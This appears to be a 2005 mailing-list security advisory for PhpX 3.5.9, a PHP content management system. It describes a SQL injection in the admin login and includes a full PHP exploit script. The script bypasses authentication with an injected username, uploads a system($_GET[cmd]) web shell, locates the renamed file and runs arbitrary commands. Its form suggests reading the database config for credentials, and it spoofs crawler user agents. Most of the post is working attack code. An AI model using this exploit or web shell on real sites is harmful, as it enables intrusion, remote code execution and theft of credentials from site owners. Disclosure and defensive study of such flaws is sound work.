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PhpX <= 3.5.9 SQL Injection -> login bypass -> remote command/code execution
From: retrogod () aliceposta it
Date: 30 Nov 2005 19:14:19 -0000

PhpX <= 3.5.9 SQL Injection -> login bypass -> remote command/code execution

software:
site: http://www.phpx.org/
description: "PHPX is a constantly evolving and changing Content Management
              System (CMS)[..]"



vulnerable code in auth.inc.php at lines 22-26:

...
if (!isset($_POST[username])){ header("Location: login.php"); }
    $password = md5($_POST['password']);
    $username = strtolower($_POST['username']);
    $result = $core->db->query("select user_id from users where password = '$password' and lower(username) = 
'$username'");
    $count = $core->db->num_rows($result);
...

"username" argument is not properly sanitized before to be used in a query, so
if magic_quotes_gpc is off you can bypass admin login check, poc:

go to http://[target]/[path]/admin/ and submit

username: 'or user_id=2/*
password: [nothing]

now you are admin, you can upload a cmd.php.menu file with this code inside:

<?php system($_GET[cmd]); ?>

file is renamed (like this: 11333717941--cmd.php.menu) but you can retrieve
filename in uploaded file list panel, upload dir have usually CHMOD 777
as "recommended" by install script (mphhh...) and usually not .htaccess protected,
so you can launch commands:

http://[target]/[path]/files/11333717941--cmd.php.menu?cmd=cat%20/etc/passwd


poc exploit:


<?php
#   19.17 28/09/2005                                         18.15 30/11/2005  #
#                                                                              #
#   -- PhpX_359_xpl.php                                                        #
#                                                                              #
#   PhpX <=3.5.9 SQL injection->login bypass->remote commands xctn  exploit    #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then go...   #
#                                                                              #
#   Sun-Tzu: "The onrush of a conquering force is like the bursting of pent-up #
#   waters into a chasm a thousand fathoms deep"                               #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>PhpX <=3.5.9 SQL injection/remote commands xctn  exploit
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
PhpX <=3.5.9 SQL injection/remote commands xctn  exploit </p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank";>
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpx/  or just / )  </span></p><p><input type="text" name="command">      <span
class="Stile5"> * specify a command  "cat ./../admin/includes/config.inc.php" to
see database username & password (against Win: "type .\..\admin\includes\config.
inc.php")</span> </p><p> <input type="text" name="port">   <span class="Stile5">
specify  a  port   other than  80 ( default  value ) </span></p> <p>      <input
type="text"   name="proxy"><span class="Stile5">  send  exploit through an  HTTP
proxy (ip:port)</span></p><p><input type="submit" name="Submit" value="go!"></p>
</form> </td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
                            }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
                            }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
                              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
              else
                  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
                   {
                     $result = socket_connect($socket, $host, $port);
                   }
                   else
                   {

                   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
                   $result = socket_connect($socket, $parts[0],$parts[1]);
                   }
                   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . 
socket_strerror($result) . "<br><br>";
                                    }
                               else
                                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

                                    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
                        die; }
      }
             else
           {
           $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
           $parts=explode(':',$proxy);
            echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
            $ock=fsockopen($parts[0],$parts[1]);
            if (!$ock) { echo 'No response from proxy...';
                        die;
                       }
           }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}


$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];

if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

$SQL="'or user_id=2/*";
$SQL=urlencode($SQL);


#STEP 1 -> Login Bypass...
$data="username=".$SQL."&password=&login=yes";
$packet="POST ".$p."admin/index.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."admin/login.php?code=i\r\n";;
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Googlebot/2.1 \r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
if (eregi("Location: index.php",$html)) {echo "Exploit succeeded...<br>";}
                                   else {die("Exploit failed...");}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$COOKIE=$temp2[0];
echo '<br>Your cookie: '.htmlentities($COOKIE);

#STEP 2 -> Shell upload...
$data='-----------------------------7d5baf306c0
Content-Disposition: form-data; name="confirm"

1
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file1"; filename="C:\suntzu.php.menu"
Content-Type: text/plain

<?php error_reporting(0);ini_set("max_execution_time",0);system($_GET[cmd]);?>
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream


-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file3"; filename=""
Content-Type: application/octet-stream


-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file4"; filename=""
Content-Type: application/octet-stream


-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file5"; filename=""
Content-Type: application/octet-stream


-----------------------------7d5baf306c0
Content-Disposition: form-data; name="more"

0
-----------------------------7d5baf306c0--';

$packet="POST ".$p."admin/images.php?action=create HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."admin/images.php?action=create\r\n";;
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d5baf306c0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: IncyWincy data gatherer\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);

#STEP 3 -> Retrieve filename from file list...
$packet="GET ".$p."admin/images.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."admin/images.php?action=create\r\n";;
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Jakarta Commons-HttpClient/3.0-rcx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$COOKIE."\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode('suntzu.php.menu',$html);
$i=count($temp)-1;
$temp2=explode("/files/",$temp[$i-1]);
$i=count($temp2)-1;
$FILENAME=$temp2[$i].'suntzu.php.menu';
echo '<br>File has been renamed as: '.htmlentities($FILENAME);

#STEP 4 -> Launch commands...
$packet="GET ".$p."files/".$FILENAME."?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html)\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
?>

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/phpx_359_xpl.html



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